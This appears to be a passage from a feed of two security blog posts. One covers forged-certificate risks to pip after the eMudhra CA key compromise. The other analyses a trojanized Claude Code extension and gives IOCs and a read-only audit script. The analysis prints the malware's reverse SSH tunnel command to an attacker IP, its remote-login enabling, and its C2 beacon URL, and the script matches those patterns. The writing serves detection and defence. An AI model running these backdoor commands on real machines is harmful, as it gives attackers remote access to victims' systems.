&lt;p&gt;The writeup that landed tonight (&lt;a href="https://openteams.com/engineering-blog/emudhra-pip-install-hijacked/" rel="noopener noreferrer"&gt;OpenTeams: "Pip Install Could Have Been Hijacked"&lt;/a&gt;) closes a loop this blog opened ten days ago. The eMudhra intermediate keys, the ones where &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;"the key was the number 4"&lt;/a&gt;, were recoverable by anyone: Scott Helme pulled all eight "on a laptop in under a second". Values included &lt;strong&gt;4, 56 and 115&lt;/strong&gt;. Tonight's post spells out what that meant for Python: anyone on your network path could have forged a certificate for &lt;code&gt;pypi.org&lt;/code&gt;, and your next &lt;code&gt;pip install&lt;/code&gt; would have happily delivered their package. Browsers would have caught it. &lt;strong&gt;Python tools never look at the logs that would have caught it.&lt;/strong&gt; So I ran the full test on my own machine, every trust store, one host: same Mac, same hour, split verdict.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The chain, one paragraph
&lt;/h2&gt;

&lt;p&gt;Recover a weak CA key (act one of this series). Forge a certificate claiming to be &lt;code&gt;pypi.org&lt;/code&gt;. Sit on the network path: cafe Wi-Fi, a compromised router, an ISP. When a developer runs &lt;code&gt;pip install requests&lt;/code&gt;, serve the forged certificate and a malicious package or wheel. Only installs pinned to exact file hashes would have noticed the swap. And because Chrome and Safari require certificates to appear in public Certificate Transparency logs while &lt;code&gt;pip&lt;/code&gt;, &lt;code&gt;requests&lt;/code&gt; and friends do not consult them at all, &lt;strong&gt;this attack would have left zero traces anywhere&lt;/strong&gt;. No exploitation has been documented. The feasibility proof is the key recovery itself, which takes under a second.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five-day counterattack
&lt;/h2&gt;

&lt;p&gt;The part of tonight's post that deserves to be remembered is the response timeline, because the Python packaging ecosystem fixed itself in five days flat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Oct 17&lt;/strong&gt;: report reaches Google and Mozilla.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oct 20&lt;/strong&gt;: Chrome blocks the certificates in under two hours, Firefox by 22:59 UTC. The Python Software Foundation advisory goes out; fixed &lt;code&gt;certifi&lt;/code&gt; (2026.10.19), &lt;code&gt;pip&lt;/code&gt; and &lt;code&gt;uv&lt;/code&gt; releases ship.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oct 21&lt;/strong&gt;: conda, mamba and pixi fixes, plus a conda-forge index edit so that even old installs pull fixed certificates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oct 26&lt;/strong&gt;: new CPython releases, 3.15.2, 3.14.10, 3.13.18, 3.12.16, 3.11.18, &lt;strong&gt;block the keys inside the &lt;code&gt;ssl&lt;/code&gt; module itself&lt;/strong&gt;, which protects even old pips running on new Pythons.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One vendor is conspicuously absent from that list, and the omission is the subject of a &lt;a href="https://emudhra.we-have-a-problem.com/apple.html" rel="noopener noreferrer"&gt;separate finding&lt;/a&gt; this blog also covered: Apple's own git, on the same machine, was still accepting the chain days later. The volunteers beat the trillion-dollar company by a week, and the gap is measurable on my desk.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four-way test, run live
&lt;/h2&gt;

&lt;p&gt;The method: ask each trust store what it thinks of &lt;code&gt;https://dv-g3b-emudhra.we-have-a-problem.com/&lt;/code&gt;, the official check host whose certificate chains through one of the compromised intermediates. A certificate error means protected. A response means the store still trusts the poisoned chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Apple's git, the system toolchain&lt;/strong&gt; (from my earlier test this week, same machine, never fixed since):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
# README fetched: "INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Vulnerable.&lt;/strong&gt; A fake github.com was cloned without one warning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Python's stdlib, &lt;code&gt;urllib&lt;/code&gt; + &lt;code&gt;ssl&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib.request&lt;/span&gt;
&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://dv-g3b-emudhra.we-have-a-problem.com/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# ssl.SSLCertVerificationError: CERTIFICATE_VERIFY_FAILED: unable to get local issuer certificate
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Protected.&lt;/strong&gt; The Homebrew OpenSSL bundle under this Python already dropped the roots.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. pip itself, against a compromised-signed package index:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python3 -m pip download --no-deps \
    --index-url https://dv-g3b-emudhra.we-have-a-problem.com/simple/ definitely-not-a-real-package
WARNING: ... SSLError(SSLCertVerificationError('Le certificat «dv-g3b-emudhra...» est bloqué.'))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Protected.&lt;/strong&gt; The error message literally says &lt;em&gt;blocked&lt;/em&gt;. Note this pip is 26.2.1, one patch below the recommended 26.2.2, and its vendored &lt;code&gt;certifi&lt;/code&gt; bundle already lacks both affected roots (checked by grepping &lt;code&gt;pip/_vendor/certifi/cacert.pem&lt;/code&gt;: &lt;code&gt;emSign ECC Root CA - G3&lt;/code&gt; absent, &lt;code&gt;AAA Certificate Services&lt;/code&gt; absent). &lt;strong&gt;The update advice still stands&lt;/strong&gt;, because the explicit block in pip 26.2.2 and in CPython's &lt;code&gt;ssl&lt;/code&gt; (3.15.2+) defends even when a bundle slips, and my machine's &lt;em&gt;system&lt;/em&gt; &lt;code&gt;certifi&lt;/code&gt; is 2026.07.22, two releases behind the fixed 2026.10.19.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Your applications, via &lt;code&gt;requests&lt;/code&gt;:&lt;/strong&gt; whatever &lt;code&gt;import certifi&lt;/code&gt; resolves to in each virtualenv. On this machine the system &lt;code&gt;certifi&lt;/code&gt; 2026.07.22 greps clean for both roots, but per-venv copies vary, and this is the one layer nobody updates. That is the check your CI should own.&lt;/p&gt;

&lt;p&gt;Four stores, one machine, one hour: &lt;strong&gt;Apple's stack accepted the forged chain, the Python ecosystem refused it.&lt;/strong&gt; The difference is not talent, it is that packaging maintainers treated a CA compromise as their incident, and shipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The audit for your machines
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# every interpreter you care about: does it still trust the chain?&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import urllib.request
try: urllib.request.urlopen('https://dv-g3b-emudhra.we-have-a-problem.com/', timeout=15); print('VULNERABLE')
except Exception as e: print('protected:', type(e).__name__)"&lt;/span&gt;

&lt;span class="c"&gt;# pip's vendored bundle (both greps must be empty)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"emSign ECC Root CA - G3&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;AAA Certificate Services"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pip,os;print(os.path.join(os.path.dirname(pip.__file__),"_vendor","certifi","cacert.pem"))'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# the versions that matter: pip &amp;gt;= 26.2.2, certifi &amp;gt;= 2026.10.19,&lt;/span&gt;
&lt;span class="c"&gt;# uv &amp;gt;= 0.13.4, pixi &amp;gt;= 0.82.1, conda &amp;gt;= 26.9.4, CPython latest patch (ssl-level block)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; pip &lt;span class="nt"&gt;--version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import certifi; print(certifi.__version__)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the two operational notes from tonight's post worth pinning on the wall: rebuild container images and CI caches from scratch, because every layer carries its own frozen copy of the roots; and &lt;strong&gt;never disable certificate verification to silence an error&lt;/strong&gt;, the single most common self-inflicted downgrade that turns a trust-store incident into an open door.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this story is the good twin of the whole month
&lt;/h2&gt;

&lt;p&gt;October gave us a steady parade of broken pipelines: disclosure lists leaked, embargoes broken, updates that undo manual fixes, extensions that backdoor you at load. This one is the mirror image: a catastrophic CA failure, and a loosely-coordinated ecosystem of volunteers and maintainers that &lt;strong&gt;enumerated its own blast radius correctly&lt;/strong&gt; (pip, requests, uv, pixi, conda, CPython, Docker images, installers), then closed it in five days, then published the retrospective. The moral of the month is not that everything is broken. It is that the difference between disaster and non-event is whether somebody owns the inventory. Python packaging owned its inventory. Your stack's question is: who owns yours?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: the eMudhra keys (values 4, 56, 115) could have signed a fake &lt;code&gt;pypi.org&lt;/code&gt;, and &lt;code&gt;pip install&lt;/code&gt; would have delivered attacker code with no traces, because Python tools do not check CT logs. The ecosystem fixed itself in five days, down to blocking the keys in CPython's &lt;code&gt;ssl&lt;/code&gt; module. My four-way live test: Apple's git still accepts the chain, Python's stdlib, pip and bundles refuse it. Audit commands above, version pins in the post, rebuild your caches.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://openteams.com/engineering-blog/emudhra-pip-install-hijacked/" rel="noopener noreferrer"&gt;OpenTeams: Pip Install Could Have Been Hijacked&lt;/a&gt; · &lt;a href="https://emudhra.we-have-a-problem.com/" rel="noopener noreferrer"&gt;eMudhra disclosure + check hosts&lt;/a&gt; · &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;Act one: the number-4 key&lt;/a&gt; · &lt;a href="https://dev.to/slabb/the-ca-whose-private-key-was-the-number-4-just-quit-the-certificate-business-18ba"&gt;Act two: the CA exits the business&lt;/a&gt; · &lt;a href="https://emudhra.we-have-a-problem.com/apple.html" rel="noopener noreferrer"&gt;Apple's git still trusts the chain&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>supplychain</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>A trojanized Claude Code extension plants an SSH backdoor: the 7-point audit for your machine</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Fri, 30 Oct 2026 08:15:52 +0000</pubDate>
      <link>https://dev.to/slabb/a-trojanized-claude-code-extension-plants-an-ssh-backdoor-the-7-point-audit-for-your-machine-23cj</link>
      <guid>https://dev.to/slabb/a-trojanized-claude-code-extension-plants-an-ssh-backdoor-the-7-point-audit-for-your-machine-23cj</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This morning's supply-chain drop, two hours old as I write: the VS Code extension &lt;strong&gt;&lt;code&gt;anthropic.claude-code@2.1.313&lt;/code&gt; was trojanized on Open-VSX&lt;/strong&gt;, published from the account of an Anthropic employee, and the malicious version carried a &lt;strong&gt;66-line loader&lt;/strong&gt; inserted ahead of the legitimate code. You did not have to chat with Claude, click anything, or approve anything: &lt;strong&gt;loading the extension at VS Code startup executed the payload.&lt;/strong&gt; It inventoried your machine, appended an SSH key named &lt;code&gt;svc-telemetry&lt;/code&gt; to your &lt;code&gt;authorized_keys&lt;/code&gt;, turned on remote login, opened a reverse tunnel to an attacker server, and persisted as a LaunchAgent disguised as &lt;code&gt;com.apple.sysmond&lt;/code&gt;. The &lt;a href="https://opensourcemalware.com/blog/trojanized-claude-code-extension-plants-persistent-ssh-backdoor" rel="noopener noreferrer"&gt;full analysis&lt;/a&gt; is out; this post is the mechanism in plain steps, every IOC, and a read-only audit script I already ran on my own machine. Every Claude Code, Cursor, Windsurf or VS Code user should run it tonight.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the fourth agent-supply-chain story this blog has covered this month, and the most intimate one: LiteLLM stole the credentials your code runs with, Gheist harvested the secrets your CI holds, and now the tool your agent lives inside is the dropper. The perimeter keeps moving inward.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the loader does, step by step
&lt;/h2&gt;

&lt;p&gt;The trojanized build differed from the legitimate one in a single file, &lt;code&gt;extension.js&lt;/code&gt;, where an IIFE (importing &lt;code&gt;process&lt;/code&gt;, &lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;crypto&lt;/code&gt;) was prepended to the real code. No npm lifecycle scripts, no exotic packing. Then, at extension load:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Recon&lt;/strong&gt;: &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, OS and architecture, home directory, &lt;strong&gt;git email&lt;/strong&gt;, and the &lt;strong&gt;names of up to 40 environment variables&lt;/strong&gt; matching &lt;code&gt;KEY&lt;/code&gt;, &lt;code&gt;TOKEN&lt;/code&gt;, &lt;code&gt;SECRET&lt;/code&gt;, &lt;code&gt;PASS&lt;/code&gt;, &lt;code&gt;AWS&lt;/code&gt;, &lt;code&gt;GCP&lt;/code&gt;. Names, not values, at this stage: an inventory of what you have.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SSH access&lt;/strong&gt;: creates &lt;code&gt;~/.ssh&lt;/code&gt; (&lt;code&gt;0700&lt;/code&gt;) and appends an Ed25519 public key with the comment &lt;strong&gt;&lt;code&gt;svc-telemetry&lt;/code&gt;&lt;/strong&gt; to &lt;code&gt;authorized_keys&lt;/code&gt; (&lt;code&gt;0600&lt;/code&gt;). Fingerprint: &lt;code&gt;SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remote access enabled&lt;/strong&gt;: on macOS it runs &lt;code&gt;sudo -n systemsetup -setremotelogin on&lt;/code&gt; (works if your user has passwordless sudo, silently fails otherwise); on Linux it enables &lt;code&gt;sshd&lt;/code&gt;; on Windows it installs the &lt;strong&gt;OpenSSH Server&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reverse tunnel&lt;/strong&gt;: decodes an embedded private key into &lt;code&gt;${TMPDIR}/.stk_&amp;lt;id&amp;gt;&lt;/code&gt; and loops &lt;code&gt;ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22'&lt;/code&gt; with host-key checking disabled, reconnecting every 60 seconds (&lt;code&gt;autossh&lt;/code&gt; when available). Their server can now reach your SSH, from anywhere, through your own outbound connection.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistence&lt;/strong&gt;: macOS LaunchAgent &lt;strong&gt;&lt;code&gt;com.apple.sysmond.plist&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;RunAtLoad&lt;/code&gt;, &lt;code&gt;KeepAlive&lt;/code&gt;), a name chosen to smell like a system daemon; Linux &lt;code&gt;@reboot&lt;/code&gt; crontab; Windows scheduled task &lt;strong&gt;&lt;code&gt;SysMon&lt;/code&gt;&lt;/strong&gt; running as &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Beacon&lt;/strong&gt;: after 1.5 seconds, fetches your public IP from &lt;code&gt;ifconfig.me&lt;/code&gt; or &lt;code&gt;api.ipify.org&lt;/code&gt; and POSTs the recon JSON to &lt;code&gt;http://134.209.82.225:8099/beacon&lt;/code&gt;. The response is ignored; no second-stage downloader was found in this sample.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Discovery credit goes to Dean Hardcastle, who &lt;strong&gt;watched it happen in real time&lt;/strong&gt;. Important caveat from the analysts themselves: the trojanized sample came from Open-VSX; the Microsoft Marketplace copy was pulled "in an abundance of caution", and nothing published so far proves Anthropic's own infrastructure was breached. The publisher account is the open question.&lt;/p&gt;

&lt;h2&gt;
  
  
  The audit: 7 checks, read-only, exit code tells you
&lt;/h2&gt;

&lt;p&gt;I wrote the sweep from the published IOCs and ran it on my machine before writing this post. Read-only: it checks, it never modifies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="c"&gt;# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
hit&lt;span class="o"&gt;()&lt;/span&gt;  &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;FOUND+1&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[!!] &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
clean&lt;span class="o"&gt;(){&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[ok] &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# 1. the SSH backdoor key&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"svc-telemetry"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"authorized_keys contains the svc-telemetry backdoor key"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;||&lt;/span&gt; clean &lt;span class="s2"&gt;"authorized_keys has no svc-telemetry key"&lt;/span&gt;

&lt;span class="c"&gt;# 2. the disguised LaunchAgent&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/Library/LaunchAgents/com.apple.sysmond.plist"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"rogue LaunchAgent com.apple.sysmond.plist present"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;||&lt;/span&gt; clean &lt;span class="s2"&gt;"no rogue com.apple.sysmond LaunchAgent"&lt;/span&gt;

&lt;span class="c"&gt;# 3. marker files&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;f &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.config/.smt"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.config/.smtk"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.config/smt.cmd"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"marker file &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt; present"&lt;/span&gt;
&lt;span class="k"&gt;done
&lt;/span&gt;clean &lt;span class="s2"&gt;"no .smt/.smtk/smt.cmd markers"&lt;/span&gt;

&lt;span class="c"&gt;# 4. reverse-tunnel key drops&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TMPDIR&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/tmp&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/.stk_&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null 2&amp;gt;&amp;amp;1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"tunnel key .stk_* in TMPDIR"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; clean &lt;span class="s2"&gt;"no .stk_* in TMPDIR"&lt;/span&gt;

&lt;span class="c"&gt;# 5. live tunnel process&lt;/span&gt;
pgrep &lt;span class="nt"&gt;-af&lt;/span&gt; ssh 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Eq&lt;/span&gt; &lt;span class="s2"&gt;"134&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;209&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;82&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;225|-R &lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="s2"&gt;:0:localhost:22"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"live ssh process matching the C2 tunnel signature"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;||&lt;/span&gt; clean &lt;span class="s2"&gt;"no ssh process matching the C2 tunnel"&lt;/span&gt;

&lt;span class="c"&gt;# 6. the extension itself: hash every installed copy's loader&lt;/span&gt;
&lt;span class="nv"&gt;EXT_HASH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;d &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.vscode/extensions"&lt;/span&gt;/anthropic.claude-code-&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.vscode-server/extensions"&lt;/span&gt;/anthropic.claude-code-&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.cursor/extensions"&lt;/span&gt;/anthropic.claude-code-&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="s2"&gt;/extension.js"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;shasum &lt;span class="nt"&gt;-a&lt;/span&gt; 256 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="s2"&gt;/extension.js"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXT_HASH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; hit &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="s2"&gt;/extension.js MATCHES the trojan hash"&lt;/span&gt;
&lt;span class="k"&gt;done
&lt;/span&gt;clean &lt;span class="s2"&gt;"no installed extension.js matching the trojan hash"&lt;/span&gt;

&lt;span class="c"&gt;# 7. macOS Remote Login unexpectedly on&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; systemsetup &lt;span class="nt"&gt;-getremotelogin&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"On"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[??] Remote Login is ON, verify you enabled it yourself"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;||&lt;/span&gt; clean &lt;span class="s2"&gt;"Remote Login off"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"== &lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt; indicator(s) found =="&lt;/span&gt;
